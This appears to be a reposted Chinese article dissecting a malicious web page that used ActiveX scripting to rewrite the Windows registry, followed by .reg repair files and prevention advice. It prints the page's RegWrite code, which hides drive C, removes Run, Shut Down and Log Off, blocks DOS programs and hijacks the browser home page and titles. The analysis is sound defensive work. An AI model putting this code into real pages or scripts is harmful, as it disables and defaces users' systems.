瀏覽網(wǎng)頁注冊表被修改之迷及解決辦法
瀏覽網(wǎng)頁會被修改注冊表？千真萬確！如果你去瀏覽過下面的網(wǎng)頁：http://www.findfeel.com/default.htm ，你真有生不如死的感覺！
進(jìn)入該網(wǎng)頁會被：
1.修改開始菜單
1）禁止“關(guān)閉系統(tǒng)”
2）禁止“運行”
3）禁止“注銷”
2.隱藏C盤——你的C盤找不到了
3.禁止使用注冊表編輯器regedit
4.禁止使用DOS程序
5.使系統(tǒng)無法進(jìn)入“實模式”
6.禁止運行任何程序
7.將IE瀏覽器的首頁改為http://www.findfeel.com/，收藏夾中也被加入該網(wǎng)址。
那么這些功能恐怖的功能是如何實現(xiàn)的呢？原來，該網(wǎng)頁是有人利用Java技術(shù)制作的含有有害代碼的ActiveX網(wǎng)頁文件。為讓更多的人了解其危害，我查看了其源代碼，將其主要部分列了出來，并加了詳細(xì)的注釋（文中有“注”字的部分是我加的注釋）。
注：下面代碼是將你的IE默認(rèn)連接首頁改為http://www.findfeel.com
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\
Start Page", "http://www.findfeel.com/"）;
注：以下是該網(wǎng)頁修改受害者的注冊表項所用的招數(shù)
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\Explorer\\NoRun", 01, "REG_BINARY"）;
注：使受害者系統(tǒng)沒有“運行”項，這樣用戶就不能通過注冊表編輯器來修改該有害網(wǎng)頁對系統(tǒng)注冊表的修改。
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoClose", 01, "REG_BINARY"）;
注：使受害者系統(tǒng)沒有“關(guān)閉系統(tǒng)”項
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoLogOff", 01, "REG_BINARY"）;
注：使受害者系統(tǒng)沒有“注銷”項
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoDrives", "00000004", "REG_DWORD"）;
注：使受害者系統(tǒng)沒有邏輯驅(qū)動器C
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\WinOldApp\\ Disabled","REG_BINARY"）;
注：禁止運行所有的DOS應(yīng)用程序；
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\ \WinOldApp\\NoRealMode","REG_BINARY"）;
注：使系統(tǒng)不能啟動到“實模式”（傳統(tǒng)的DOS模式）下；
又注：進(jìn)入該網(wǎng)頁，它還會修改以下的注冊表項，使WINDOWS系統(tǒng)登錄時顯示一個登錄窗口（在MicroSoft網(wǎng)絡(luò)用戶登錄之前）
Shl.RegWrite （"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Winlogon\\LegalNoticeCaption", "嗚啦啦..."）;
注：這些代碼會使窗口的標(biāo)題是“嗚啦啦…”
Shl.RegWrite （"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Winlogon\\LegalNoticeText", "歡迎你！你這個超級無敵大白癡！《嗚啦啦...》故事開始了，按確定進(jìn)入悲慘世界"）;
注：上面一行是會在窗口中顯示出來的文字
注：下面兩行代碼修改注冊表，使受害者所有的IE窗口都加上以下的標(biāo)題：“嗚啦啦…”
Shl.RegWrite （"HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\
Window Title", "嗚啦啦..."）;
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\
Window Title", "嗚啦啦..."）;
注：到上面一行為止，完成了對受害者的注冊表的所有修改！
注：下面代碼用來將其網(wǎng)頁增加到受害者的收藏夾中
var WF, Shor, loc;
WF = FSO.GetSpecialFolder（0）;
loc = WF + "\\Favorites";
if（!FSO.FolderExists（loc））
{
loc = FSO.GetDriveName（WF） + "\\Documents and Settings\\
" + Net.UserName + "\\Favorites";
if（!FSO.FolderExists（loc））
{
return;
}
}
注：下面就是使其網(wǎng)頁加入到你的收藏夾的具體代碼
AddFavLnk（loc, "找到感覺www.findfeel.com", "http://www.findfeel.com"）;
由于代碼很簡單，又加了注釋，相信你已經(jīng)看明白是怎么回事了。那么如果不小心進(jìn)入該網(wǎng)頁，并且已經(jīng)中招了該怎么辦呢？別急，下面給你列出了解決的辦法。
受害用戶的修復(fù)方法：
1：對于Win9x用戶，建議在電腦啟動時按F8鍵，選擇到MS-DOS方式下，使用Scanreg/restore命令來恢復(fù)以前備份的、正常的注冊表。
2：對于Win2000用戶，把以下內(nèi)容copy下來，存為unlock.reg文件，選帶命令行的安全模式，用命令regedit unlock.reg導(dǎo)入，如何重啟機(jī)器就OK了。
unlock.reg文件內(nèi)容如下：
| Code: | [Copy to clipboard] |
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\Explorer]
"NoDriveTypeAutoRun"=dword:00000095
"NoRun"=hex:
"NoLogOff"=hex:
"NoDrives"=dword:00000000
"RestrictRun"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
"DisableRegistryTools"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
"DisableRegistryTools"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\WinOldApp]
"Disabled"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\WinOldApp]
"NoRealMode"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Winlogon]
"LegalNoticeCaption"=""
"LegalNoticeText"=""
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Window Title"="IE瀏覽器"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"="IE瀏覽器" |
|
預(yù)防辦法：
1.要避免中招，關(guān)鍵是不要輕易去一些自己并不了解的站點。
2.在IE設(shè)置中將ActiveX插件和控件、Java腳本等全部禁止
3.可以通過升級到最新的病毒庫，來預(yù)防該類惡意網(wǎng)頁的侵害。
4.既然該網(wǎng)頁是通過修改注冊表來破壞我們的系統(tǒng)，那么我們可以事先把注冊表加鎖：禁止修改注冊表，這樣就可以達(dá)到預(yù)防的目的。不過，自己要使用注冊表編輯器regedit.exe該怎么辦呢？因此我們還要在此前事先準(zhǔn)備一把“鑰匙”，以便打開這把“鎖”！
加鎖方法如下：
?。?）運行注冊表編輯器regedit.exe；
?。?）展開注冊表到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System下，新建一個名為DisableRegistryTools的DWORD值，并將其值改為“1”，即可禁止使用注冊表編輯器regedit.exe。
解鎖方法如下：
用記事本編輯一個任意名字的.reg文件，比如unlock.reg，內(nèi)容如下：
| Code: | [Copy to clipboard] |
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
"DisableRegistryTools"=dword:00000000 |
|
存盤。你就有了一把解鎖的鑰匙了！如果要使用注冊表編輯器，則雙擊unlock.reg即可。要注意的是，在“REGEDIT4”后面一定要空一行，并且“REGEDIT4”中的“4”和“T”之間一定不能有空格，否則將前功盡棄！
說明：對于“萬花谷”網(wǎng)頁的惡意代碼帶來的破壞，也可按上面所提的方法來預(yù)防，中招后也可參考上面的方法解決。另，KV3000對“萬花谷”可完全恢復(fù)
本站僅提供存儲服務(wù)，所有內(nèi)容均由用戶發(fā)布，如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容，請
點擊舉報。
